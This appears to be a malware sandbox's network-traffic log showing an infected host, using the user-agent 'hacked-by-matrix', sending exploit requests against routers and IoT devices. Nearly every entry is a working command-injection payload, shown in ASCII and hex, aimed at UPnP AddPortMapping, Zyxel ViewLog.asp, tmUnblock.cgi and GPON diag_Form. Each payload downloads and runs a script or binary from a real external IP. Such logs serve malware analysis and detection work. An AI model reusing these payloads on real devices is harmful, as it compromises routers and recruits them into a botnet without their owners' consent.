xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:03.827795029 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:05.814903975 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:09.971805096 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:17.907833099 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:33.781282902 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.13	33138	181.177.111.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:01.994043112 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:02.089215040 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.13	47616	172.66.156.49	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:02.251951933 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.13	47590	172.65.229.203	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:02.252017021 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.13	40010	184.150.213.45	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:02.464422941 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:03.124078989 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:03.258089066 CET	69	IN	HTTP/1.1 500 Internal Server Error Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.13	53100	118.44.102.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.770978928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.13	36802	109.209.192.97	443

Timestamp	Bytes transferred	Direction	Data
